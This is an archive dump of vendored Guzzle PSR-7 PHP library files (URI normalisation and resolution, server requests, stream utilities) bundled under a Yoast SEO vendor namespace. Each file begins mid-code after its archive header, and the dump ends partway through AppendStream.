guzzlehttp/psr7/src/Exception/MalformedUriException.php000066600000000405151734252230017371 0ustar00isReadable()) { $mode = $stream->isWritable() ? 'r+' : 'r'; } elseif ($stream->isWritable()) { $mode = 'w'; } else { throw new \InvalidArgumentException('The stream must be readable, ' . 'writable, or both.'); } return \fopen('guzzle://stream', $mode, \false, self::createStreamContext($stream)); } /** * Creates a stream context that can be used to open a stream as a php stream resource. * * @return resource */ public static function createStreamContext(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream) { return \stream_context_create(['guzzle' => ['stream' => $stream]]); } /** * Registers the stream wrapper if needed */ public static function register() : void { if (!\in_array('guzzle', \stream_get_wrappers())) { \stream_wrapper_register('guzzle', __CLASS__); } } public function stream_open(string $path, string $mode, int $options, string &$opened_path = null) : bool { $options = \stream_context_get_options($this->context); if (!isset($options['guzzle']['stream'])) { return \false; } $this->mode = $mode; $this->stream = $options['guzzle']['stream']; return \true; } public function stream_read(int $count) : string { return $this->stream->read($count); } public function stream_write(string $data) : int { return $this->stream->write($data); } public function stream_tell() : int { return $this->stream->tell(); } public function stream_eof() : bool { return $this->stream->eof(); } public function stream_seek(int $offset, int $whence) : bool { $this->stream->seek($offset, $whence); return \true; } /** * @return resource|false */ public function stream_cast(int $cast_as) { $stream = clone $this->stream; $resource = $stream->detach(); return $resource ?? \false; } /** * @return array{ * dev: int, * ino: int, * mode: int, * nlink: int, * uid: int, * gid: int, * rdev: int, * size: int, * atime: int, * mtime: int, * ctime: int, * blksize: int, * blocks: int * } */ public function stream_stat() : array { static $modeMap = ['r' => 33060, 'rb' => 33060, 'r+' => 33206, 'w' => 33188, 'wb' => 33188]; return ['dev' => 0, 'ino' => 0, 'mode' => $modeMap[$this->mode], 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => $this->stream->getSize() ?: 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0]; } /** * @return array{ * dev: int, * ino: int, * mode: int, * nlink: int, * uid: int, * gid: int, * rdev: int, * size: int, * atime: int, * mtime: int, * ctime: int, * blksize: int, * blocks: int * } */ public function url_stat(string $path, int $flags) : array { return ['dev' => 0, 'ino' => 0, 'mode' => 0, 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0]; } } guzzlehttp/psr7/src/UriNormalizer.php000066600000020702151734252230013772 0ustar00getPath() === '' && ($uri->getScheme() === 'http' || $uri->getScheme() === 'https')) { $uri = $uri->withPath('/'); } if ($flags & self::REMOVE_DEFAULT_HOST && $uri->getScheme() === 'file' && $uri->getHost() === 'localhost') { $uri = $uri->withHost(''); } if ($flags & self::REMOVE_DEFAULT_PORT && $uri->getPort() !== null && \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::isDefaultPort($uri)) { $uri = $uri->withPort(null); } if ($flags & self::REMOVE_DOT_SEGMENTS && !\YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::isRelativePathReference($uri)) { $uri = $uri->withPath(\YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::removeDotSegments($uri->getPath())); } if ($flags & self::REMOVE_DUPLICATE_SLASHES) { $uri = $uri->withPath(\preg_replace('#//++#', '/', $uri->getPath())); } if ($flags & self::SORT_QUERY_PARAMETERS && $uri->getQuery() !== '') { $queryKeyValues = \explode('&', $uri->getQuery()); \sort($queryKeyValues); $uri = $uri->withQuery(\implode('&', $queryKeyValues)); } return $uri; } /** * Whether two URIs can be considered equivalent. * * Both URIs are normalized automatically before comparison with the given $normalizations bitmask. The method also * accepts relative URI references and returns true when they are equivalent. This of course assumes they will be * resolved against the same base URI. If this is not the case, determination of equivalence or difference of * relative references does not mean anything. * * @param UriInterface $uri1 An URI to compare * @param UriInterface $uri2 An URI to compare * @param int $normalizations A bitmask of normalizations to apply, see constants * * @see https://datatracker.ietf.org/doc/html/rfc3986#section-6.1 */ public static function isEquivalent(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri1, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri2, int $normalizations = self::PRESERVING_NORMALIZATIONS) : bool { return (string) self::normalize($uri1, $normalizations) === (string) self::normalize($uri2, $normalizations); } private static function capitalizePercentEncoding(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $regex = '/(?:%[A-Fa-f0-9]{2})++/'; $callback = function (array $match) : string { return \strtoupper($match[0]); }; return $uri->withPath(\preg_replace_callback($regex, $callback, $uri->getPath()))->withQuery(\preg_replace_callback($regex, $callback, $uri->getQuery())); } private static function decodeUnreservedCharacters(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $regex = '/%(?:2D|2E|5F|7E|3[0-9]|[46][1-9A-F]|[57][0-9A])/i'; $callback = function (array $match) : string { return \rawurldecode($match[0]); }; return $uri->withPath(\preg_replace_callback($regex, $callback, $uri->getPath()))->withQuery(\preg_replace_callback($regex, $callback, $uri->getQuery())); } private function __construct() { // cannot be instantiated } } guzzlehttp/psr7/src/ServerRequest.php000066600000023235151734252230014013 0ustar00serverParams = $serverParams; parent::__construct($method, $uri, $headers, $body, $version); } /** * Return an UploadedFile instance array. * * @param array $files An array which respect $_FILES structure * * @throws InvalidArgumentException for unrecognized values */ public static function normalizeFiles(array $files) : array { $normalized = []; foreach ($files as $key => $value) { if ($value instanceof \YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface) { $normalized[$key] = $value; } elseif (\is_array($value) && isset($value['tmp_name'])) { $normalized[$key] = self::createUploadedFileFromSpec($value); } elseif (\is_array($value)) { $normalized[$key] = self::normalizeFiles($value); continue; } else { throw new \InvalidArgumentException('Invalid value in files specification'); } } return $normalized; } /** * Create and return an UploadedFile instance from a $_FILES specification. * * If the specification represents an array of values, this method will * delegate to normalizeNestedFileSpec() and return that return value. * * @param array $value $_FILES struct * * @return UploadedFileInterface|UploadedFileInterface[] */ private static function createUploadedFileFromSpec(array $value) { if (\is_array($value['tmp_name'])) { return self::normalizeNestedFileSpec($value); } return new \YoastSEO_Vendor\GuzzleHttp\Psr7\UploadedFile($value['tmp_name'], (int) $value['size'], (int) $value['error'], $value['name'], $value['type']); } /** * Normalize an array of file specifications. * * Loops through all nested files and returns a normalized array of * UploadedFileInterface instances. * * @return UploadedFileInterface[] */ private static function normalizeNestedFileSpec(array $files = []) : array { $normalizedFiles = []; foreach (\array_keys($files['tmp_name']) as $key) { $spec = ['tmp_name' => $files['tmp_name'][$key], 'size' => $files['size'][$key] ?? null, 'error' => $files['error'][$key] ?? null, 'name' => $files['name'][$key] ?? null, 'type' => $files['type'][$key] ?? null]; $normalizedFiles[$key] = self::createUploadedFileFromSpec($spec); } return $normalizedFiles; } /** * Return a ServerRequest populated with superglobals: * $_GET * $_POST * $_COOKIE * $_FILES * $_SERVER */ public static function fromGlobals() : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { $method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; $headers = \getallheaders(); $uri = self::getUriFromGlobals(); $body = new \YoastSEO_Vendor\GuzzleHttp\Psr7\CachingStream(new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream('php://input', 'r+')); $protocol = isset($_SERVER['SERVER_PROTOCOL']) ? \str_replace('HTTP/', '', $_SERVER['SERVER_PROTOCOL']) : '1.1'; $serverRequest = new \YoastSEO_Vendor\GuzzleHttp\Psr7\ServerRequest($method, $uri, $headers, $body, $protocol, $_SERVER); return $serverRequest->withCookieParams($_COOKIE)->withQueryParams($_GET)->withParsedBody($_POST)->withUploadedFiles(self::normalizeFiles($_FILES)); } private static function extractHostAndPortFromAuthority(string $authority) : array { $uri = 'http://' . $authority; $parts = \parse_url($uri); if (\false === $parts) { return [null, null]; } $host = $parts['host'] ?? null; $port = $parts['port'] ?? null; return [$host, $port]; } /** * Get a Uri populated with values from $_SERVER. */ public static function getUriFromGlobals() : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $uri = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri(''); $uri = $uri->withScheme(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http'); $hasPort = \false; if (isset($_SERVER['HTTP_HOST'])) { [$host, $port] = self::extractHostAndPortFromAuthority($_SERVER['HTTP_HOST']); if ($host !== null) { $uri = $uri->withHost($host); } if ($port !== null) { $hasPort = \true; $uri = $uri->withPort($port); } } elseif (isset($_SERVER['SERVER_NAME'])) { $uri = $uri->withHost($_SERVER['SERVER_NAME']); } elseif (isset($_SERVER['SERVER_ADDR'])) { $uri = $uri->withHost($_SERVER['SERVER_ADDR']); } if (!$hasPort && isset($_SERVER['SERVER_PORT'])) { $uri = $uri->withPort($_SERVER['SERVER_PORT']); } $hasQuery = \false; if (isset($_SERVER['REQUEST_URI'])) { $requestUriParts = \explode('?', $_SERVER['REQUEST_URI'], 2); $uri = $uri->withPath($requestUriParts[0]); if (isset($requestUriParts[1])) { $hasQuery = \true; $uri = $uri->withQuery($requestUriParts[1]); } } if (!$hasQuery && isset($_SERVER['QUERY_STRING'])) { $uri = $uri->withQuery($_SERVER['QUERY_STRING']); } return $uri; } public function getServerParams() : array { return $this->serverParams; } public function getUploadedFiles() : array { return $this->uploadedFiles; } public function withUploadedFiles(array $uploadedFiles) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { $new = clone $this; $new->uploadedFiles = $uploadedFiles; return $new; } public function getCookieParams() : array { return $this->cookieParams; } public function withCookieParams(array $cookies) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { $new = clone $this; $new->cookieParams = $cookies; return $new; } public function getQueryParams() : array { return $this->queryParams; } public function withQueryParams(array $query) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { $new = clone $this; $new->queryParams = $query; return $new; } /** * @return array|object|null */ public function getParsedBody() { return $this->parsedBody; } public function withParsedBody($data) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { $new = clone $this; $new->parsedBody = $data; return $new; } public function getAttributes() : array { return $this->attributes; } /** * @return mixed */ public function getAttribute($attribute, $default = null) { if (\false === \array_key_exists($attribute, $this->attributes)) { return $default; } return $this->attributes[$attribute]; } public function withAttribute($attribute, $value) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { $new = clone $this; $new->attributes[$attribute] = $value; return $new; } public function withoutAttribute($attribute) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { if (\false === \array_key_exists($attribute, $this->attributes)) { return $this; } $new = clone $this; unset($new->attributes[$attribute]); return $new; } } guzzlehttp/psr7/src/UriResolver.php000066600000021311151734252230013446 0ustar00getScheme() != '') { return $rel->withPath(self::removeDotSegments($rel->getPath())); } if ($rel->getAuthority() != '') { $targetAuthority = $rel->getAuthority(); $targetPath = self::removeDotSegments($rel->getPath()); $targetQuery = $rel->getQuery(); } else { $targetAuthority = $base->getAuthority(); if ($rel->getPath() === '') { $targetPath = $base->getPath(); $targetQuery = $rel->getQuery() != '' ? $rel->getQuery() : $base->getQuery(); } else { if ($rel->getPath()[0] === '/') { $targetPath = $rel->getPath(); } else { if ($targetAuthority != '' && $base->getPath() === '') { $targetPath = '/' . $rel->getPath(); } else { $lastSlashPos = \strrpos($base->getPath(), '/'); if ($lastSlashPos === \false) { $targetPath = $rel->getPath(); } else { $targetPath = \substr($base->getPath(), 0, $lastSlashPos + 1) . $rel->getPath(); } } } $targetPath = self::removeDotSegments($targetPath); $targetQuery = $rel->getQuery(); } } return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri(\YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::composeComponents($base->getScheme(), $targetAuthority, $targetPath, $targetQuery, $rel->getFragment())); } /** * Returns the target URI as a relative reference from the base URI. * * This method is the counterpart to resolve(): * * (string) $target === (string) UriResolver::resolve($base, UriResolver::relativize($base, $target)) * * One use-case is to use the current request URI as base URI and then generate relative links in your documents * to reduce the document size or offer self-contained downloadable document archives. * * $base = new Uri('http://example.com/a/b/'); * echo UriResolver::relativize($base, new Uri('http://example.com/a/b/c')); // prints 'c'. * echo UriResolver::relativize($base, new Uri('http://example.com/a/x/y')); // prints '../x/y'. * echo UriResolver::relativize($base, new Uri('http://example.com/a/b/?q')); // prints '?q'. * echo UriResolver::relativize($base, new Uri('http://example.org/a/b/')); // prints '//example.org/a/b/'. * * This method also accepts a target that is already relative and will try to relativize it further. Only a * relative-path reference will be returned as-is. * * echo UriResolver::relativize($base, new Uri('/a/b/c')); // prints 'c' as well */ public static function relativize(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $base, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $target) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { if ($target->getScheme() !== '' && ($base->getScheme() !== $target->getScheme() || $target->getAuthority() === '' && $base->getAuthority() !== '')) { return $target; } if (\YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::isRelativePathReference($target)) { // As the target is already highly relative we return it as-is. It would be possible to resolve // the target with `$target = self::resolve($base, $target);` and then try make it more relative // by removing a duplicate query. But let's not do that automatically. return $target; } if ($target->getAuthority() !== '' && $base->getAuthority() !== $target->getAuthority()) { return $target->withScheme(''); } // We must remove the path before removing the authority because if the path starts with two slashes, the URI // would turn invalid. And we also cannot set a relative path before removing the authority, as that is also // invalid. $emptyPathUri = $target->withScheme('')->withPath('')->withUserInfo('')->withPort(null)->withHost(''); if ($base->getPath() !== $target->getPath()) { return $emptyPathUri->withPath(self::getRelativePath($base, $target)); } if ($base->getQuery() === $target->getQuery()) { // Only the target fragment is left. And it must be returned even if base and target fragment are the same. return $emptyPathUri->withQuery(''); } // If the base URI has a query but the target has none, we cannot return an empty path reference as it would // inherit the base query component when resolving. if ($target->getQuery() === '') { $segments = \explode('/', $target->getPath()); /** @var string $lastSegment */ $lastSegment = \end($segments); return $emptyPathUri->withPath($lastSegment === '' ? './' : $lastSegment); } return $emptyPathUri; } private static function getRelativePath(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $base, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $target) : string { $sourceSegments = \explode('/', $base->getPath()); $targetSegments = \explode('/', $target->getPath()); \array_pop($sourceSegments); $targetLastSegment = \array_pop($targetSegments); foreach ($sourceSegments as $i => $segment) { if (isset($targetSegments[$i]) && $segment === $targetSegments[$i]) { unset($sourceSegments[$i], $targetSegments[$i]); } else { break; } } $targetSegments[] = $targetLastSegment; $relativePath = \str_repeat('../', \count($sourceSegments)) . \implode('/', $targetSegments); // A reference to am empty last segment or an empty first sub-segment must be prefixed with "./". // This also applies to a segment with a colon character (e.g., "file:colon") that cannot be used // as the first segment of a relative-path reference, as it would be mistaken for a scheme name. if ('' === $relativePath || \false !== \strpos(\explode('/', $relativePath, 2)[0], ':')) { $relativePath = "./{$relativePath}"; } elseif ('/' === $relativePath[0]) { if ($base->getAuthority() != '' && $base->getPath() === '') { // In this case an extra slash is added by resolve() automatically. So we must not add one here. $relativePath = ".{$relativePath}"; } else { $relativePath = "./{$relativePath}"; } } return $relativePath; } private function __construct() { // cannot be instantiated } } guzzlehttp/psr7/src/Request.php000066600000010143151734252230012616 0ustar00assertMethod($method); if (!$uri instanceof \YoastSEO_Vendor\Psr\Http\Message\UriInterface) { $uri = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($uri); } $this->method = \strtoupper($method); $this->uri = $uri; $this->setHeaders($headers); $this->protocol = $version; if (!isset($this->headerNames['host'])) { $this->updateHostFromUri(); } if ($body !== '' && $body !== null) { $this->stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($body); } } public function getRequestTarget() : string { if ($this->requestTarget !== null) { return $this->requestTarget; } $target = $this->uri->getPath(); if ($target === '') { $target = '/'; } if ($this->uri->getQuery() != '') { $target .= '?' . $this->uri->getQuery(); } return $target; } public function withRequestTarget($requestTarget) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { if (\preg_match('#\\s#', $requestTarget)) { throw new \InvalidArgumentException('Invalid request target provided; cannot contain whitespace'); } $new = clone $this; $new->requestTarget = $requestTarget; return $new; } public function getMethod() : string { return $this->method; } public function withMethod($method) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { $this->assertMethod($method); $new = clone $this; $new->method = \strtoupper($method); return $new; } public function getUri() : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { return $this->uri; } public function withUri(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, $preserveHost = \false) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { if ($uri === $this->uri) { return $this; } $new = clone $this; $new->uri = $uri; if (!$preserveHost || !isset($this->headerNames['host'])) { $new->updateHostFromUri(); } return $new; } private function updateHostFromUri() : void { $host = $this->uri->getHost(); if ($host == '') { return; } if (($port = $this->uri->getPort()) !== null) { $host .= ':' . $port; } if (isset($this->headerNames['host'])) { $header = $this->headerNames['host']; } else { $header = 'Host'; $this->headerNames['host'] = 'Host'; } // Ensure Host is the first header. // See: https://datatracker.ietf.org/doc/html/rfc7230#section-5.4 $this->headers = [$header => [$host]] + $this->headers; } /** * @param mixed $method */ private function assertMethod($method) : void { if (!\is_string($method) || $method === '') { throw new \InvalidArgumentException('Method must be a non-empty string.'); } } } guzzlehttp/psr7/src/UriComparator.php000066600000002402151734252230013754 0ustar00getHost(), $modified->getHost()) !== 0) { return \true; } if ($original->getScheme() !== $modified->getScheme()) { return \true; } if (self::computePort($original) !== self::computePort($modified)) { return \true; } return \false; } private static function computePort(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri) : int { $port = $uri->getPort(); if (null !== $port) { return $port; } return 'https' === $uri->getScheme() ? 443 : 80; } private function __construct() { // cannot be instantiated } } guzzlehttp/psr7/src/Utils.php000066600000036735151734252230012305 0ustar00 $v) { if (!\in_array(\strtolower((string) $k), $keys)) { $result[$k] = $v; } } return $result; } /** * Copy the contents of a stream into another stream until the given number * of bytes have been read. * * @param StreamInterface $source Stream to read from * @param StreamInterface $dest Stream to write to * @param int $maxLen Maximum number of bytes to read. Pass -1 * to read the entire stream. * * @throws \RuntimeException on error. */ public static function copyToStream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $dest, int $maxLen = -1) : void { $bufferSize = 8192; if ($maxLen === -1) { while (!$source->eof()) { if (!$dest->write($source->read($bufferSize))) { break; } } } else { $remaining = $maxLen; while ($remaining > 0 && !$source->eof()) { $buf = $source->read(\min($bufferSize, $remaining)); $len = \strlen($buf); if (!$len) { break; } $remaining -= $len; $dest->write($buf); } } } /** * Copy the contents of a stream into a string until the given number of * bytes have been read. * * @param StreamInterface $stream Stream to read * @param int $maxLen Maximum number of bytes to read. Pass -1 * to read the entire stream. * * @throws \RuntimeException on error. */ public static function copyToString(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $maxLen = -1) : string { $buffer = ''; if ($maxLen === -1) { while (!$stream->eof()) { $buf = $stream->read(1048576); if ($buf === '') { break; } $buffer .= $buf; } return $buffer; } $len = 0; while (!$stream->eof() && $len < $maxLen) { $buf = $stream->read($maxLen - $len); if ($buf === '') { break; } $buffer .= $buf; $len = \strlen($buffer); } return $buffer; } /** * Calculate a hash of a stream. * * This method reads the entire stream to calculate a rolling hash, based * on PHP's `hash_init` functions. * * @param StreamInterface $stream Stream to calculate the hash for * @param string $algo Hash algorithm (e.g. md5, crc32, etc) * @param bool $rawOutput Whether or not to use raw output * * @throws \RuntimeException on error. */ public static function hash(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, string $algo, bool $rawOutput = \false) : string { $pos = $stream->tell(); if ($pos > 0) { $stream->rewind(); } $ctx = \hash_init($algo); while (!$stream->eof()) { \hash_update($ctx, $stream->read(1048576)); } $out = \hash_final($ctx, $rawOutput); $stream->seek($pos); return $out; } /** * Clone and modify a request with the given changes. * * This method is useful for reducing the number of clones needed to mutate * a message. * * The changes can be one of: * - method: (string) Changes the HTTP method. * - set_headers: (array) Sets the given headers. * - remove_headers: (array) Remove the given headers. * - body: (mixed) Sets the given body. * - uri: (UriInterface) Set the URI. * - query: (string) Set the query string value of the URI. * - version: (string) Set the protocol version. * * @param RequestInterface $request Request to clone and modify. * @param array $changes Changes to apply. */ public static function modifyRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $changes) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { if (!$changes) { return $request; } $headers = $request->getHeaders(); if (!isset($changes['uri'])) { $uri = $request->getUri(); } else { // Remove the host header if one is on the URI if ($host = $changes['uri']->getHost()) { $changes['set_headers']['Host'] = $host; if ($port = $changes['uri']->getPort()) { $standardPorts = ['http' => 80, 'https' => 443]; $scheme = $changes['uri']->getScheme(); if (isset($standardPorts[$scheme]) && $port != $standardPorts[$scheme]) { $changes['set_headers']['Host'] .= ':' . $port; } } } $uri = $changes['uri']; } if (!empty($changes['remove_headers'])) { $headers = self::caselessRemove($changes['remove_headers'], $headers); } if (!empty($changes['set_headers'])) { $headers = self::caselessRemove(\array_keys($changes['set_headers']), $headers); $headers = $changes['set_headers'] + $headers; } if (isset($changes['query'])) { $uri = $uri->withQuery($changes['query']); } if ($request instanceof \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface) { $new = (new \YoastSEO_Vendor\GuzzleHttp\Psr7\ServerRequest($changes['method'] ?? $request->getMethod(), $uri, $headers, $changes['body'] ?? $request->getBody(), $changes['version'] ?? $request->getProtocolVersion(), $request->getServerParams()))->withParsedBody($request->getParsedBody())->withQueryParams($request->getQueryParams())->withCookieParams($request->getCookieParams())->withUploadedFiles($request->getUploadedFiles()); foreach ($request->getAttributes() as $key => $value) { $new = $new->withAttribute($key, $value); } return $new; } return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($changes['method'] ?? $request->getMethod(), $uri, $headers, $changes['body'] ?? $request->getBody(), $changes['version'] ?? $request->getProtocolVersion()); } /** * Read a line from the stream up to the maximum allowed buffer length. * * @param StreamInterface $stream Stream to read from * @param int|null $maxLength Maximum buffer length */ public static function readLine(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $maxLength = null) : string { $buffer = ''; $size = 0; while (!$stream->eof()) { if ('' === ($byte = $stream->read(1))) { return $buffer; } $buffer .= $byte; // Break when a new line is found or the max length - 1 is reached if ($byte === "\n" || ++$size === $maxLength - 1) { break; } } return $buffer; } /** * Create a new stream based on the input type. * * Options is an associative array that can contain the following keys: * - metadata: Array of custom metadata. * - size: Size of the stream. * * This method accepts the following `$resource` types: * - `Psr\Http\Message\StreamInterface`: Returns the value as-is. * - `string`: Creates a stream object that uses the given string as the contents. * - `resource`: Creates a stream object that wraps the given PHP stream resource. * - `Iterator`: If the provided value implements `Iterator`, then a read-only * stream object will be created that wraps the given iterable. Each time the * stream is read from, data from the iterator will fill a buffer and will be * continuously called until the buffer is equal to the requested read size. * Subsequent read calls will first read from the buffer and then call `next` * on the underlying iterator until it is exhausted. * - `object` with `__toString()`: If the object has the `__toString()` method, * the object will be cast to a string and then a stream will be returned that * uses the string value. * - `NULL`: When `null` is passed, an empty stream object is returned. * - `callable` When a callable is passed, a read-only stream object will be * created that invokes the given callable. The callable is invoked with the * number of suggested bytes to read. The callable can return any number of * bytes, but MUST return `false` when there is no more data to return. The * stream object that wraps the callable will invoke the callable until the * number of requested bytes are available. Any additional bytes will be * buffered and used in subsequent reads. * * @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data * @param array{size?: int, metadata?: array} $options Additional options * * @throws \InvalidArgumentException if the $resource arg is not valid. */ public static function streamFor($resource = '', array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { if (\is_scalar($resource)) { $stream = self::tryFopen('php://temp', 'r+'); if ($resource !== '') { \fwrite($stream, (string) $resource); \fseek($stream, 0); } return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($stream, $options); } switch (\gettype($resource)) { case 'resource': /* * The 'php://input' is a special stream with quirks and inconsistencies. * We avoid using that stream by reading it into php://temp */ /** @var resource $resource */ if ((\stream_get_meta_data($resource)['uri'] ?? '') === 'php://input') { $stream = self::tryFopen('php://temp', 'w+'); \stream_copy_to_stream($resource, $stream); \fseek($stream, 0); $resource = $stream; } return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($resource, $options); case 'object': /** @var object $resource */ if ($resource instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) { return $resource; } elseif ($resource instanceof \Iterator) { return new \YoastSEO_Vendor\GuzzleHttp\Psr7\PumpStream(function () use($resource) { if (!$resource->valid()) { return \false; } $result = $resource->current(); $resource->next(); return $result; }, $options); } elseif (\method_exists($resource, '__toString')) { return self::streamFor((string) $resource, $options); } break; case 'NULL': return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream(self::tryFopen('php://temp', 'r+'), $options); } if (\is_callable($resource)) { return new \YoastSEO_Vendor\GuzzleHttp\Psr7\PumpStream($resource, $options); } throw new \InvalidArgumentException('Invalid resource type: ' . \gettype($resource)); } /** * Safely opens a PHP stream resource using a filename. * * When fopen fails, PHP normally raises a warning. This function adds an * error handler that checks for errors and throws an exception instead. * * @param string $filename File to open * @param string $mode Mode used to open the file * * @return resource * * @throws \RuntimeException if the file cannot be opened */ public static function tryFopen(string $filename, string $mode) { $ex = null; \set_error_handler(static function (int $errno, string $errstr) use($filename, $mode, &$ex) : bool { $ex = new \RuntimeException(\sprintf('Unable to open "%s" using mode "%s": %s', $filename, $mode, $errstr)); return \true; }); try { /** @var resource $handle */ $handle = \fopen($filename, $mode); } catch (\Throwable $e) { $ex = new \RuntimeException(\sprintf('Unable to open "%s" using mode "%s": %s', $filename, $mode, $e->getMessage()), 0, $e); } \restore_error_handler(); if ($ex) { /** @var $ex \RuntimeException */ throw $ex; } return $handle; } /** * Safely gets the contents of a given stream. * * When stream_get_contents fails, PHP normally raises a warning. This * function adds an error handler that checks for errors and throws an * exception instead. * * @param resource $stream * * @throws \RuntimeException if the stream cannot be read */ public static function tryGetContents($stream) : string { $ex = null; \set_error_handler(static function (int $errno, string $errstr) use(&$ex) : bool { $ex = new \RuntimeException(\sprintf('Unable to read stream contents: %s', $errstr)); return \true; }); try { /** @var string|false $contents */ $contents = \stream_get_contents($stream); if ($contents === \false) { $ex = new \RuntimeException('Unable to read stream contents'); } } catch (\Throwable $e) { $ex = new \RuntimeException(\sprintf('Unable to read stream contents: %s', $e->getMessage()), 0, $e); } \restore_error_handler(); if ($ex) { /** @var $ex \RuntimeException */ throw $ex; } return $contents; } /** * Returns a UriInterface for the given value. * * This function accepts a string or UriInterface and returns a * UriInterface for the given value. If the value is already a * UriInterface, it is returned as-is. * * @param string|UriInterface $uri * * @throws \InvalidArgumentException */ public static function uriFor($uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { if ($uri instanceof \YoastSEO_Vendor\Psr\Http\Message\UriInterface) { return $uri; } if (\is_string($uri)) { return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($uri); } throw new \InvalidArgumentException('URI must be a string or UriInterface'); } } guzzlehttp/psr7/src/HttpFactory.php000066600000007714151734252230013447 0ustar00getSize(); } return new \YoastSEO_Vendor\GuzzleHttp\Psr7\UploadedFile($stream, $size, $error, $clientFilename, $clientMediaType); } public function createStream(string $content = '') : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($content); } public function createStreamFromFile(string $file, string $mode = 'r') : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { try { $resource = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($file, $mode); } catch (\RuntimeException $e) { if ('' === $mode || \false === \in_array($mode[0], ['r', 'w', 'a', 'x', 'c'], \true)) { throw new \InvalidArgumentException(\sprintf('Invalid file opening mode "%s"', $mode), 0, $e); } throw $e; } return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource); } public function createStreamFromResource($resource) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource); } public function createServerRequest(string $method, $uri, array $serverParams = []) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface { if (empty($method)) { if (!empty($serverParams['REQUEST_METHOD'])) { $method = $serverParams['REQUEST_METHOD']; } else { throw new \InvalidArgumentException('Cannot determine HTTP method'); } } return new \YoastSEO_Vendor\GuzzleHttp\Psr7\ServerRequest($method, $uri, [], null, '1.1', $serverParams); } public function createResponse(int $code = 200, string $reasonPhrase = '') : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response($code, [], null, '1.1', $reasonPhrase); } public function createRequest(string $method, $uri) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($method, $uri); } public function createUri(string $uri = '') : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($uri); } } guzzlehttp/psr7/src/AppendStream.php000066600000013614151734252230013557 0ustar00addStream($stream); } } public function __toString() : string { try { $this->rewind(); return $this->getContents(); } catch (\Throwable $e) { if (\PHP_VERSION_ID >= 70400) { throw $e; } \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR); return ''; } } /** * Add a stream to the AppendStream * * @param StreamInterface $stream Stream to 